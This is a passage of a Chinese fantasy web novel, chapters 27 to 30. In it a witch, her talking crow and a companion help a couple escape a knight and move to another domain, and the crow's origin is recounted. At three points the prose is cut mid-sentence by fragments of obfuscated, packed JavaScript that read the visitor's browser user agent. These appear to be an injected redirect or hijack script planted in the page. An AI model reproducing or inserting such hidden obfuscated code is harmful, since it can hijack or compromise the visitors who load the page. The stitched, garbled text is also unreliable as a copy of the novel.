d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她睁着眼睛,看着不断移动的地面,却看不见手搭在自己腰上,扛着自己走的人是谁,仿佛她正以一种诡异的姿势漂浮在半空中。 “霍尔,是你吗?” 哪怕明知道除了霍尔之外,压根不会有其他人会来救自己,乔安妮还是忍不住问出了声。 “是我。”空气中传来霍尔的声音。 一如既往的厚重沉闷,像锤子擂在土墙上,却让乔安妮感到了无比的安心。 “你怎么变成这个样子了?我看不见你了。”乔安妮道。 “这是我从梅拉小姐那买来的隐形药剂,喝了它后,就谁都看不见我了。本来我还给你留了半瓶,打算让你喝了后跟我一起逃走,只不过看你晕倒了,我就把剩下那半瓶药水收了起来。”霍尔解释道。 霍尔不舍得把药水灌给昏倒的乔安妮。 干脆改变计划,仗着霍华德看不见自己,直接把他给打晕了。 “晕了?那就好。”乔安妮彻底放心了,她可不会同情一个伤害自己的人。 让霍尔扛着自己继续走了会儿,乔安妮又道,“你累吗?不然还是把我放下来,让我自己走吧。” “放心,我还另外买了一瓶大力药剂,扛着你一路跑回去都没问题。”霍尔拍了拍胸膛,朝乔安妮保证到。 只不过,他很快意识到,这会儿乔安妮根本看不见他的动作。 “呀,我可真是个笨蛋,都忘了等药效过了你才能看见我。”霍尔懊恼不已。 乔安妮的唇角漾出笑意,安慰了霍尔几句。 “听起来,你们其实还挺顺利的?”梅拉忽然插入进来,打断了乔安妮的叙述。 此时乔安妮不仅把霍尔脸上的小刺全部清理了出来,还帮他把不小心沾上的草叶一一摘干净了。 因此这会儿霍尔总算能说话了,他朝梅拉露出一个苦笑,“可是意外很快就发生了。” 28. 第 28 章 “意外?”梅拉微微挑眉,一幅感兴趣的模样。 “对,我们根本没想到,霍华德竟然和领主手下的一名骑士勾搭上了。”霍尔咬牙切齿地道,表情有些沉重。 如果仅仅只是和霍华德闹翻,大不了霍尔关上门拒绝与他来往,再找办法让他没法对乔安妮下手就是了。 但,霍尔怎么也没想到,他才带着乔安妮逃走没多久,身后就传来了一阵急促的马蹄声。 出于姿势的便利,乔安妮率先看到了高大马匹上坐着的骑士,他没有穿全套的盔甲,只有一件胸甲在月光下泛着冰冷的光。 两条又短又粗的眉毛夹着石灰色的一双眼向下压,看着就一幅不好惹的样子。 事实上,也确实如此。 他与乔安妮对上视线后,眼中毫不掩饰地放出光来,“找到你们了!” 接着他的双腿一夹马肚,催促着身下的马匹加快速度,急吼吼地冲着乔安妮与霍尔而来。 乔安妮甚至看到他抽出了腰间的剑! 茫茫夜色中,那一点银色的剑尖带着迫人的锐利,绝不容她忽视。 霍尔虽然来不及转身看清身后的情况,但他同样听到了那句充满威胁的话语,急得脚下加快速度,直接跑了起来。 可人的两条腿又怎么可能跑得过马的四条腿呢? 几乎是几次呼吸的功夫,骑士手中那柄寒光凛冽的长剑便差点刺到了霍尔的背上。 本来霍尔现在在其他人眼中就是一团空气,不应该被看见才对,偏偏他的肩上扛着乔安妮,简直跟带了个活靶子没有区别。 还是乔安妮眼看着剑刺来,急得喊了一声“转过去!”,才让霍尔及时躲了过去。 与此同时,乔安妮的头发却被削断了一小节。 这么近的距离,失手了倒也无所谓,那名骑士看着霍尔与乔安妮,仿佛在看砧板上的鱼肉,带着居高临下的意味,紧接着毫不犹豫地刺出了第二剑。 他倒也没打算直接把人杀死,只是想让霍尔受伤,不得不停下来而已。 只不过因为看不清的缘故,那狭长的剑身眼看着就要往霍尔的心脏扎入。 幸好! 幸运再一次降临在了霍尔的身上。 他没防备,脚下一滑,竟然带着乔安妮沿着斜坡滚了下去,也恰好躲过了那致命的一剑。 然而这个斜坡很高,也很陡,霍尔只来得及调整一下姿势,用自己的身体尽量护住了乔安妮。 期间不乏有长着倒刺的木条扎在霍尔的手上、脸上,但乔安妮却在霍尔的保护下毫发无损,仅仅只是乱了头发。 好在两人这一滚,直接咕噜噜地一下子滚离了骑士的视野范围内,而灌木丛又很好地挡住了马匹前进的脚步。 遥遥听见上方传来一声恶狠狠的咒骂与马儿的嘶鸣声,霍尔却顾不得身上的疼痛,赶紧掏出之前收在怀里的半瓶隐形药剂,让乔安妮喝了下去。 药水生效的速度非常快,差不多是在乔安妮刚喝完最后一滴药水,便冷不丁地看见了霍尔那双含着期待的褐色眼珠。 成了!霍尔心下一喜,能看到隐身状态下的对方,说明乔安妮现在也和他一样了。 “快走。”乔安妮比霍尔率先回神,拽着他的手臂跌跌撞撞地往前跑去。 他们要赶在被追上之前,抓紧时间离开这里。 乔安妮原本的打算是回村子里,就算是要逃跑,也得收拾好东西再跑。 可还没跑到一半,霍尔发现这是回村子的方向后,立刻拉住了乔安妮,带着她转了个弯,踏上了另一条路,一门心思的往梅拉的小木屋奔去。 霍尔平时虽然算不上聪明,但碰上这种时候却意外地机敏,直觉告诉他,这时候回家未必安全,不如去小木屋寻求梅拉的庇护。再不济,听听莱克斯的建议也好啊。 他就是先前听了莱克斯的建议,才成功救出了乔安妮。 “你做的很对。” 对于霍尔的选择,莱克斯并不吝于给出自己的肯定。 他替霍尔分析道,“首先,从那名骑士如此快就追上了你们,不难判断出他应该是在你们离开后不久,就来到了霍华德的住处。” 换句话说,他在见到了晕倒的霍华德后,立刻意识到事情不对,骑着马,循着脚印就来追霍尔和乔安妮了。 这可不算一个好消息,因为这意味着绑架乔安妮带去向领主讨赏这事,那名骑士绝对有参与其中。 否则他的第一反应应该是先找医士来把人救醒才对。 “说不定,这本来就是他给霍华德提出的主意呢。”莱克斯有理有据地补充道。 否则以霍华德的身份,就算带着乔安妮前往庄园,又凭什么能见到领主。 大概他还没来得及接近领主的庄园,就会被巡逻的守卫抓起来丢进地牢里,等待管家的处置。 但若是有了那名骑士的带领,霍华德便能在庄园中畅通无阻。 “其次,假设事实与我猜测的差不多的话,那名骑士一定对乔安妮志在必得,即他一定要带着乔安妮去往领主面前。” 至于他为什么要这么做,想必和领主的态度脱不了干系。 不过此地的领主为何突然要找与女巫相关的人,莱克斯在停顿的间隙十分自然地向梅拉投去一瞥,其中带着点探究,他想这事梅拉或许知道些内情。 然而回应他的却是梅拉歪着脑袋,眨了眨眼,神情很是无辜。 “既然刚才侥幸让你们跑了,有很大可能他会转道前往你们所在的村子,打算来个守株待兔。”不管梅拉到底是不是装出来的无辜,莱克斯已经收回了目光,接着道。 毕竟按照一般人的想法,劫后余生的第一反应便是回到安全的地方,比如家中。 哪怕是打定主意了要离开此地,到别的地方先躲一阵风头,也得先收拾好值钱的东西再说。 不得不说,在某种程度上,莱克斯的猜测与乔安妮原先的想法不谋而合了。 也就是说,若是霍尔和乔安妮刚才真的回家去了,那才是货真价实的自己送上门去的傻兔子。 “那……”霍尔与乔安妮对视一眼,“按照你的说法,我们之后是不是不能留在村子里正常生活了?” 尽管用的是问句,但答案显然已经浮现在了两人的心中。 本就沉重的心情再度往下一坠。 “换个角度想,只要你们现在离开,这件事也就到此为止了。” “毕竟不管是那名骑士还是霍华德,暂时都无从得知你们的去向,你们正好抓紧时间搬走,离开村子,甚至离开雷德克里夫领,到时候,单凭他们两个的力量,是绝不可能搜捕得到你们的踪迹的。”莱克斯挑眉道。 假如霍尔现在抬头,就能发现莱克斯此刻的神态竟与梅拉如出一辙。但他低垂着脑袋,像根被风吹蔫了的狗尾巴草。 这也不难理解,毕竟是要突然阔别生活了三十多年的家乡,还是因为一场无妄之灾,换谁来想必一时半会都难以接受。 但,这也是没办法的事,不搬走,难道还真的回去乖乖地任人宰割吗? “都怪我。”一旁的乔安妮忽然自责道。 “要不是我太在乎这张脸,离不开变形药剂,让霍华德看出了端倪,又怎么会惹出这么麻烦的事情来……” 乔安妮看向霍尔,眼角俨然挂上了几滴晶莹的泪珠。 莱克斯则悄无声息地递了个疑惑的眼神给梅拉,其实他有个问题一直没弄明白,那就是霍华德到底是从哪发现了乔安妮的不对劲。 “你现在这张脸,应该是十六岁被大火烧伤之前的样子吧。”梅拉收到莱克斯的眼神,直言不讳地问了出来。 一点也不担心戳人伤疤。 “……您猜得没错。”乔安妮的悲伤被梅拉打断,她用手抹了抹眼角的泪,顺带摸到了自己脸上那平坦又紧致的皮肤。 一回想起那场害自己烧得面目全非,不敢出门见人的大火,即使已经过去了十几年,乔安妮还是吓得立刻放下了手,仿佛脸上又升起了曾经日日夜夜折磨着她的,火辣辣的痛感。 以及午夜梦回时,手摩挲过脸上,坑坑洼洼的触感。 火灾?有了梅拉的提醒,莱克斯终于注意到乔安妮脸上过于光滑幼嫩,仿佛十几岁少女般的肌肤。 实不相瞒,他一开始还以为这是乔安妮保养得宜的效果。 却没有细想,一个日夜操劳的农妇怎么可能像他曾在王宫见过的贵妇人一样,花大价钱和精力去保养自己的脸蛋。 尤其,乔安妮的手充满了茧子和冻疮留下的痕迹。 因此当她的手和脸蛋放到一起,简直像是把两个不同年纪的人的身体放在了一起。 对容貌的敏感让乔安妮留意到了莱克斯脸上一闪而过的若有所思的表情,只不过对经历过别人的厌憎和嫌恶的乔安妮来说,这点反应完全不足以刺痛她的内心。 那时她顶着那样一张脸,被自己的父母赶出家门,被自己救了的弟弟拿石头砸在身上,只能住在河边一间稻草搭起来的破屋子里,都愣是咬牙挺了过来,没有心灰意冷地跳入河中一了百了。 后来还遇到了愿意喜欢她、愿意娶她的霍尔。 现在哪怕重新揭开伤疤给人看,乔安妮却惊觉伤口其实并不如她回忆中的那样痛了。 只不过,如果能提前知道这会给霍尔带来麻烦,乔安妮想,她宁可顶着那张丑陋的脸过一辈子。 “我不怪你。”沉默了许久的霍尔忽然道。 “喝了变形药剂后,你可以正常地在村子里生活,和其他村民打交道,这难道不好吗?” 不仅如此,霍尔觉得他非常感谢梅拉当初拿出了变形药剂,否则乔安妮大概这辈子都不会同意和他在一起吧。 那时候,不管霍尔如何想要证明他不介意乔安妮是否毁容了,他喜欢的是乔安妮的善良与温柔,乔安妮却因为自卑,屡屡拒绝他的示爱,甚至还想过偷偷搬走,再也不与他见面。 霍尔一边阻止了乔安妮,一边狠下心,来到黑暗森林试图找到自己曾帮助过的女巫,打算从她的手里得到一个让乔安妮可以恢复容貌的办法。 他准备了足够的钱,也准备好了付出其他的代价。 然后女巫,也就是梅拉,便带着塞拉斯忽然出现在了他面前。 “说说吧,你想找我帮什么忙?” 梅拉单手托着腮,一幅兴致勃勃想要听故事的样子。 听到霍尔磕磕巴巴地将他与乔安妮的事情全盘托出,梅拉“唔”了一声,语调含笑,“啊,恢复容貌的办法,我这里确实有。” “三天后,来这棵树下,我会让塞拉斯把你想要的东西带过来。” “好、好的,女巫小姐,那我是白天来还是夜里来比较好呢?”霍尔努力克服着心底对于女巫的恐惧,问道。 他也是忽然想起儿时听过的故事里,女巫都喜欢在黑夜里做交易,因为她们拿出来的东西往往都见不得光。 “按现在这个时间来就好了。”梅拉奇怪地看了霍尔一眼,觉得他的问题实在有些离谱。 大晚上的,即使是塞拉斯也不乐意出门啊。它是乌鸦又不是猫头鹰。 “还有,叫我梅拉就好。”梅拉又道。 “好的,梅拉小姐。”霍尔重重地点了下头,表示自己明白了。 ……他到底明白了什么。梅拉忍不住想在心里叹气。 不过,这桩交易到底还是在三天后完成了。 塞拉斯叼着篮子,用眼神示意霍尔把盖在篮子上的布掀开,拿走里头的两瓶药剂。 “这是两瓶变形药剂,只要把它喝下去,然后想象自己想要变成的样子就行了。” 在霍尔举着瓶子打量的功夫,塞拉斯忽然开口介绍到。 还把霍尔给吓了一跳。 乌、乌鸦竟然会说话! 不过想想这是女巫的宠物,会口吐人言也就不足为奇了。霍尔在心里自我安慰道。 塞拉斯没有理会霍尔的大惊小怪,接着把梅拉的话转述给他听,“对了,一瓶药剂生效的时间是半个月,所以下个月后,你再来这棵树下,我会把新的药剂带给你。” “原来没办法一次解决吗……”霍尔看上去有些失望的模样。 “拜托,脸都烧毁了,这么严重的伤,你还想一瓶药剂就能解决,是不是太异想天开了一点。”塞拉斯听了霍尔的话,没忍住翻了个白眼。 “当然,梅拉说了,这桩交易你随时都可以喊停,反正需要喝这玩意儿的又不是你。要是哪天对你现在喜欢的那个女人腻了,正好抛弃变得丑陋的她换个新的妻子好了。” 说着,塞拉斯嘎嘎大笑着飞起来,在霍尔头顶的那片天空盘旋了一圈,便叼着空了的篮子彻底飞走了。 甚至没有留下来听霍尔的反驳。 霍尔望着塞拉斯远去的背影,捏紧了盛着药水的瓶子,一阵气闷,他想说,他绝不会当负心汉,毕竟他从始至终就不是因为乔安妮的脸而喜欢她的。 当霍尔将变形药剂交给乔安妮,同她说了其作用后,乔安妮一面用怀疑的眼神打量瓶子里的药水,一面询问霍尔这是哪来的东西。 “……是我从女巫手里买来的。”霍尔想着反正这件事以后也是要告诉乔安妮的,不如干脆一开始就坦白。 “女巫?你竟然同女巫做了交易!”乔安妮下意识抬高了音调,用一种恨铁不成钢的眼神盯着霍尔直瞧。 她怎么也没想到看起来老实巴交的霍尔胆子竟然这么大,都敢同女巫做交易了。 “其实……梅拉小姐是位很好的女巫,一瓶变形药剂只要了我十二枚银币……”霍尔挠了挠头,试图在乔安妮面前为梅拉说好话。 结果就是让乔安妮更吃惊了,“这么一瓶不知道效果的药水,竟然就要花十二枚银币?你疯了?” 看样子她巴不得把药剂再塞回霍尔手里,让他去找女巫把银币拿回来。 “有没有用,你试试不就知道了?”霍尔倒是十分真诚地劝她道。 虽然私心里,霍尔觉得能让乌鸦口吐人言的梅拉应该是非常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“如果非要怪谁的话,那就怪霍华德好了,如果不是他动了这样阴险的心思,我们又怎么会被逼到不得不离开的地步。” 霍尔顺势抚上乔安妮的肩膀,针对她之前那句自责说了句心里话。当然,他是真心实意这么想的,绝不仅仅只是为了安慰乔安妮。 “亲爱的……”乔安妮的眼角再度闪烁起了泪意,只不过这一次是因为喜悦和解脱。 她彻底放下了心中的愧疚与自责。 “话说得可真好听,果然再老实的男人在哄女人这上头都犹如信手拈来,”梅拉哼笑一声,像是看不别人正处在浓情蜜意的时刻,非要往上泼一盆冷水,“若是你的心里真的一点怨怼都没有,刚才又为什么要沉默?” “这个……我刚才其实是在想,既然我们打算搬家的话,不如干脆搬到隔壁拜亚德领好了。” 虽然莱克斯说如非意外,他们今后应该不至于再倒霉地撞上霍华德,但霍尔难免担心,万一他就是这么霉运罩顶呢? 还是干脆搬离雷德克里夫领,以绝后患比较好。 只不过,霍尔觉得他要是把这话说出来,好像他不信任莱克斯一样。 他保证,他真的没有这个意思。 也不知道莱克斯会不会信。 霍尔偷偷瞄了莱克斯一眼,没法从他的表情上看出任何端倪。 不过既然现在已经把话说开了,霍尔干脆把剩下的想法全盘托出:“除此之外,我还在想搬去拜亚德领哪个地方,方便我以后再来找梅拉小姐你购买药剂。” 多尼克的年纪大了,霍尔早就很少让它来拉车了,若是搬去的地方离黑暗森林太远,他一个人怕是走不动。 “这个嘛,你问我还不如问莱克斯,在这座小木屋里,没有人比他对这个王国更清楚了。”梅拉将霍尔的问题像烫手山芋一样抛给了莱克斯。 “既然这样的话,没有比拜亚德领的金麦镇更适合你们的地方了。”莱克斯道。 “那里的税务官是出了名的油滑。” 油滑,意味着只要肯给他好处,就能达成自己想要的目的。 比如给从隔壁雷德克里夫领过来的霍尔与乔安妮安排一个土生土长的金麦镇身份。 “而拜亚德领的领主,也是出了名的怠惰。” 即只要不影响他吃喝玩乐,无论领地上发生了什么事,他都漠不关心。 更别提主动去查看自己的领地内是不是莫名其妙多出来了两个人了,恐怕从他继任领主的位子至今,就没管过多少领地内的事务。 “再加上金麦镇离黑暗森林并不算很远,哪怕加上途中休息的时间,大概也只要走上一天一夜而已。” 因此不管怎么看,金麦镇都完美地满足了霍尔提出的一切要求。 “太好了,那我们就搬去莱克斯说的那个地方吧!”霍尔低头,看向乔安妮。 在霍尔的注视下,乔安妮点了点头,一切都随他安排,她没有异议。 “就是可惜我们没法带着土地一起走……” 以及屋子里零零碎碎的家当,包括那台曾经花了大价钱才买到的手纺车,都只能全部留下来了。 “你们的土地大概本来就保不住。”莱克斯道。 他这么说,倒也不是无的放矢。 “你不就认识有突然被收回土地,还欠了领主一屁股债的村民吗?”见霍尔面露不解,莱克斯提示道。 “你说的是他啊!”霍尔恍然大悟。 他附在乔安妮耳边说了个名字,紧接着乔安妮也跟着露出同样的表情。 “但是我听说,他是因为将变质的粮食以次充好卖给了粮食商人,才闹到了领主大人的面前。”霍尔迟疑地道。 “区区一个粮食商人,凭什么让领主给他主持公道,这无疑就是雷德克里夫伯爵安排好的手笔。” 莱克斯加重了语气,强调到,“也就是说,即使没有霍华德这一出,你手里的土地迟早有一天也会被盯上。” 因此尽早搬离这个是非之地,对霍尔与乔安妮来说,反而是件好事也说不定。 原来是这样!乔安妮听明白了,心里一下子涌上了紧迫感,恨不得这就和霍尔赶紧搬走。 正好,霍尔也有此意。 他们忙不迭向梅拉告别,趁着夜色尚深,正好悄悄去取走这些年暗中藏下的钱币。 有了钱,到金麦镇想买什么都不成问题。 目送霍尔与乔安妮走后,一直在琢磨莱克斯话的梅拉忽然问,“我怎么觉得你好像对拜亚德领的领主和税务官都非常熟稔的样子?” “噢,这大概是因为如今拜亚德领的领主,拜亚德伯爵是我姑姑的丈夫,而金麦镇的税务官则是上任拜亚德伯爵的小儿子,他们一家都曾经来王宫闹出过不少笑话吧。” 莱克斯云淡风轻地答道。 29. 第 29 章 睡了一觉睁开眼,发现今天的天气无比晴朗时,人的心情也会跟着变得晴朗起来。 至少梅拉今天的心情就很不错。 连每日的例行检查,发现前不久好不容易找来的一批黑晶鸢尾种到花盆里,却瘪了不少花苞时,梅拉都没有气急败坏地喊莱克斯过来,查看这到底是怎么一回事。 与她相反的则是塞拉斯,简直像是有一团肉眼可见的乌云笼罩在它的头顶上似的,正随着它的移动不断地下着小雨。 即使是梅拉,也忍不住退避三舍,暂时和塞拉斯拉开距离,免得给这只可怜的乌鸦雪上加霜。 “你知道塞拉斯这是怎么了吗?”梅拉悄悄凑到莱克斯身旁,刻意压低了声音,问道。 自从塞拉斯与莱克斯相处的时间越来越久,有些话,它揣着莫名其妙的自尊心不愿意向身为主人的梅拉倾诉,倒是很愿意分享给莱克斯。 尽管它每一次说完,都要补上一句“记得替我保密”,但莱克斯记得自己从没答应过。 于是每当梅拉问起,莱克斯总是毫无心理负担地就把塞拉斯那点不可告人的心事抖露了出来。 这一次也一样。 “又被百合小姐拒绝了吧。”莱克斯淡淡地道。 “百合小姐?” “这是它为那只白鸽取的名字。” ——“百合小姐的羽毛洁白而动人,不正像一朵美丽的百合花一样吗?”这是塞拉斯和莱克斯分享的有关起名的心路历程。 白鸽? 噢,梅拉想起来了,莱克斯先前和她提到过,塞拉斯最近喜欢上了一只刚搬来黑暗森林居住的白鸽。 “只不过,它这样擅自为人家取名,那只白鸽同意了吗?”梅拉又问。 关于这个问题,莱克斯沉吟片刻,然后诚实地摇了摇头,“我不知道。” 塞拉斯倒也不是什么都会和他说的。 譬如那些让它自觉丢脸的事情,塞拉斯就难得闭上了它那张爱絮叨的嘴,比紧闭的蚌壳还难撬开。 “不过,如果我是那只白鸽,应该不会喜欢一个异族给自己取的名字。”莱克斯设身处地地想了一下。 不如说,假如哪一天有个异族兴冲冲地跑过来,用古怪的语调喊自己,仿佛那是他特意为自己取的名字一样,莱克斯一定会控制不住流露出嫌弃的眼神。 谁要别人乱七八糟起的名字啊?他莱克斯明明有正儿八经的属于自己的名字。 这倒也是。梅拉赞同地点了点头。 虽然在人类的眼里,乌鸦和白鸽无非都是鸟,哪里就算得上异族了,但在真正的乌鸦和白鸽眼里,对方应该比人和狗的差别都大。 因此当初听说塞拉斯喜欢上了一只白鸽时,连莱克斯都难得露出了惊讶的表情。 梅拉“唔”了一声,起初她当然也有些诧异,但很快,她又觉得没什么好意外的,毕竟那是塞拉斯啊,“从会说话的那一刻开始,塞拉斯就注定不再是一只普通的乌鸦了。” 甚至某种程度上,梅拉竟然诡异地能够理解塞拉斯的选择。 一直以来,塞拉斯就以它那双有力的翅膀和一身乌黑发亮的羽毛而自豪不已,因此它会喜欢上那位百合小姐完全是一件很正常的事嘛,毕竟它这辈子也没办法再另外拥有一身洁白无瑕的羽毛了。 说到这个,莱克斯侧过脸,看向梅拉,“我记得塞拉斯能够口吐人言,是因为无意中喝下了你炼制出来的药剂?” “嗯……”梅拉随着莱克斯的话陷入了回忆之中,那真是非常久远的一个故事了。 当时梅拉还住在白松镇上,年仅十五岁。 只不过半年前,威普多因为一场高热意外离世,而他作为镇上唯一的医士,几百号人的头疼脑热都指望着他来救治。 当他也病倒时,原本还不屑于找梅拉看病的人们此刻也不得不承认她身为威普多继承人的身份,关键是,梅拉的医术确实毫不逊色于她的父亲。 于是威普多的葬礼一结束,梅拉便正式接过了他的衣钵,成为了镇上新的医士。 平日里除了给大家看病以外,梅拉依旧会三不五时的上山采集草药。 而塞拉斯,就是在梅拉某次上山途中偶然遇到的可怜小乌鸦。 那会儿塞拉斯身上的羽毛都没长全,只有薄薄的一层,还是只雏鸟呢,就倒霉地从树上的巢穴中掉了下来。 因为摔断了几根骨头,疼得小塞拉斯不停地发出细弱的叫唤。 然而这时候,巢里只有小塞拉斯同样尚未成年的兄弟姐妹们,即使它们听到了小塞拉斯的呼痛声,也只能仰着脖子哀哀回应,却无力将它给救上来。 幸好小塞拉斯的声音在吸引了其它野兽之前,先引来了正在附近的梅拉,否则它这么大点的小鸟,大概只能被当成小点心一口吞下。 听力极佳的梅拉没有错过风中传来的那道若有若无的叫声,应该是什么小鸟在叫吧?她想。 只不过她的脚尖诚实地往声音传来的方向一转,不继续上山了,改为顺着声音的来源一路找去。 果然是只小鸟在叫,梅拉看见了瘫在地上无法动弹的小塞拉斯,还是只丑丑的小乌鸦。 看样子,它应该是不小心从树上的巢穴里掉了下来。 梅拉抬头,一眼便找到了圆圆的碗似的巢穴,顺便估摸了一下巢穴所在的高度。 是有点高,但对于爬树本事一流的梅拉来说,倒也不是爬不上去。 换做别人,这会儿应该就想着该如何把小乌鸦送回家了。 但梅拉不一样。 她想,既然是她打算救的小乌鸦,凭什么要再还回去,当然是要捡回来当自己的鸟了。 于是,梅拉俯身,捡起还在瞎叫唤,甚至因为她的举动叫得更急更慌的小塞拉斯,用双手捧在掌心,连草药也不采了,就这么一路下山,回到了属于她的屋子里。 回到家,梅拉随手将小塞拉斯放到了桌子上。 而她则经历了一阵东翻西找,终于找出了她藏在柜子最深处的治愈药剂,顺带还拿了把勺子过来。 没办法,小塞拉斯目前还是太小了,梅拉没法把药水从它的嘴里硬灌下去。 只能先滴了一些在勺子里,浅浅的一小湾湖泊似的,倒映着梅拉水草般幽绿的眼睛。 梅拉用了点力,勺子硬生生顶开了小塞拉斯的喙,顺着将药水倒了进去。 小塞拉斯不出所料的对梅拉要喂给它喝的东西非常抗拒,扑腾着翅膀,甚至笨拙地腾挪着受伤的身体,转身想逃。 可惜被梅拉提前看穿了它的意图,邪恶的手伸过来,一把禁锢住了巴掌大的小乌鸦。 于是小塞拉斯被迫喝光了勺子里的药水。 确认勺子里一滴都不剩后,梅拉总算把它挪开,自顾自地去忙别的事了,任小塞拉斯在她身后像呛了风一样疯狂地咳嗽。 过了好一会儿,小塞拉斯总算缓过了劲,它原本就有些蔫,这下更是直接将自己蜷缩起来,警惕地打量了一圈这个陌生的环境。 周围都是些它从没见过的东西。 包括它屁股底下这个高高的,用许多块木头搭起来的平台。 好在上头经年日久的木香是小塞拉斯熟悉的味道,即它所在巢穴周围最常见的白松树的味道,这让小塞拉斯稍稍安了点心。 又过了一会儿,梅拉的身影消失在了楼梯之上,小塞拉斯便大着胆子站了起来,尝试着往前走了两步。 奇怪,小塞拉斯歪了歪脑袋,觉得身上一点也不痛了,就好像没有从巢穴里摔下来过一样。 虽然不知道具体的原因,但哪怕现在它的脑仁只有丁点大,小塞拉斯还是意识到了它身上不痛,与人类喂给它喝的东西脱不了干系。 因此在梅拉又一次伸手,把它拿到手里仔细端详的时候,小塞拉斯不再挣扎,而是静静地任由梅拉打量。 嗯……它现在的样子好丑,等羽毛长齐了,应该就好看了吧?梅拉盯着手心里的小塞拉斯,想到。 为了早日让小塞拉斯长出漂亮的羽毛,梅拉在之后喂给它吃的糊糊里加了许多材料,包括对人类头发有益处的一些草药。 尽管梅拉也不知道这些草药对鸟有没有用。 当然,哪怕没用也没关系,凡事总要有第一次的尝试嘛。 一开始,小塞拉斯对味道诡异的食物采取了拒绝的态度,脑袋胡乱摇摆着,愣是不让勺子碰到它的喙。 可惜这点挣扎在梅拉看来就和撒娇差不多。 甚至梅拉捏住小塞拉斯的脑袋,义正辞严地告诫它,“不许挑食噢,否则不健康的身体是一定会生病的。” 说完, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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它知道梅拉平时喜欢把装着这种水的瓶子藏在一个柜子里,只有夜深人静的时候才会将其拿出来,倒到另外的碗里进行捣鼓。 柜子没有上锁,毕竟梅拉十分笃定没人会闯进来偷盗家里的东西,除非他不打算在白松镇继续生活下去了,否则没人敢得罪镇上唯一的医士。 于是小塞拉斯只不过拽住了把手,一拉,柜门便开了,露出幽暗的内里。 以它现在的身躯,轻而易举就能钻进去。 只不过各种各样的瓶子堆得实在太多了,高的、矮的、挺着个大肚子的,纤细得仿佛脖颈的,小塞拉斯看花了眼,也挑不出哪一瓶里装着对自己有用的水。 此时,梅拉正走在回家的路上。 昨天,夏洛特太太派女仆找上门,说她身上不舒服,请梅拉第二天早上上门来为她看一看。 因此梅拉今天一大早,就带着药箱出门了。 等梅拉见到靠在床上,唇色发紫的夏洛特太太,眼神不由得凝重起来。 这并不是说夏洛特太太身上的毛病她治不好,只是治起来会有些麻烦,与此同时还得多亏她派人来得及时,否则再拖几天,病情将会变得更加棘手。 成功将丰厚的诊金拿到手后,梅拉哼着歌,走在了回家的路上。 当她推开门,发现塞拉斯竟然不在桌子上,只好扬声呼喊它的名字,“塞拉斯——你在哪呢?别不是因为贪玩掉进沙发缝里了吧?” 梅拉放下药箱,走到沙发前,扒拉开柔软的垫子,没有找到塞拉斯的踪迹。 好吧,看来塞拉斯不在这。 “塞拉斯?你在哪呢?” 梅拉只好又喊了一遍。 同时小心翼翼地观察着脚下的地毯,以免一个不慎一脚踩到了塞拉斯的身上。 “……我……我在这儿呢……” 有细如蚊吟的声音从靠墙的柜子里传出来。 嗯?! 梅拉快步走到柜子前,蹲下来,一下子瞧见了把自己缩成球,却硬着头皮与她对视的塞拉斯。 它像是知道自己做了错事一般,浑身抖得跟筛糠似的。 而它的身旁,静静地躺着几个已经喝空了的瓶子。 30. 第 30 章 总之,塞拉斯胡乱喝下的那几种药剂在它的身体内发生了令梅拉也无法预料的变化。 好在经过一段时间的观察,梅拉发现塞拉斯除了变得更加聪明,能够像人类的孩童一般学习说话之外,并没有露出其它的异样。 最后连梅拉都忍不住支着下巴,感叹塞拉斯的好运。 要知道在威普多离世之前,梅拉压根不敢在他的眼皮子底下大张旗鼓地捣鼓这些药剂,若是让威普多知道她竟然和女巫扯上了关系—— 以威普多的性子,为了她的安全着想,绝对会逼着她当着他的面立下誓言,这辈子都不许再尝试这些普通医士闻所未闻的草药搭配,以免被有心人察觉出端倪。 梅拉不想走到必须得在接受与反抗之间二选一的地步,干脆暂时压抑住尝试的欲/望,琢磨着之后在山上找个避人耳目的山洞。 没想到威普多意外离世,这间屋子猝然间只剩下她孤零零的一个人。 至于塞拉斯喝下的那几瓶药剂,梅拉甚至还没来得及试验它们具体的药效。 “等等,”莱克斯出言打断了梅拉的回忆,“那些药剂难道不是你根据书上所写的秘方制作出来的吗?” “你在说笑吗?当然不是了。” 梅拉云淡风轻地说出了一件令人目瞪口呆的事情。 “你在地下室见到的那些书,都是我后来才收集起来的,一开始,我完全是凭着记忆和经验在尝试制作药剂。其中当然有不少失败的例子,少数看上去成功了的药水,则被我装在了瓶子里,藏到了柜子的深处。” 这也就是为什么,梅拉会说塞拉斯幸运的原因。 那些不知道到底具有什么样功效的药水,在塞拉斯的肚子里糅合、变化,最后竟然成功地创造出了一个奇迹。 奇迹最大的特点便是无法复刻的偶然性。 即使后来梅拉根据记忆又做了许多类似的尝试,身边也没有再多出来第二只会说话的兔子或猫咪。 梅拉不免为此感到有些可惜。 “……这么说的话,塞拉斯当初能活下来可真是命大。”莱克斯沉默了一会儿,道。 “谁说不是呢,可惜它的好运在求偶这方面好像不太灵光。”梅拉看向屋子里,犹如行尸走肉一般的塞拉斯。 莱克斯则颇为赞同地点了点头。 * 有时候不得不怀疑,善于预言的女巫在某些时候脱口而出的话或许也是某种谶言。 几天后,塞拉斯的状态都不能用乌云罩顶来形容了,简直可以说是生无可恋地躺在梅拉的桌子上,任由梅拉用手指戳它的肚子,仍然一动不动,仿佛灵魂都飘向了未知的远方。 “这是又怎么了?或许你说出来,我和莱克斯能帮你想想办法呢?”梅拉难得愿意充当一个体贴的主人,温声细语地问道。 “我……”塞拉斯听了梅拉的话有些意动,犹犹豫豫地开了个头。 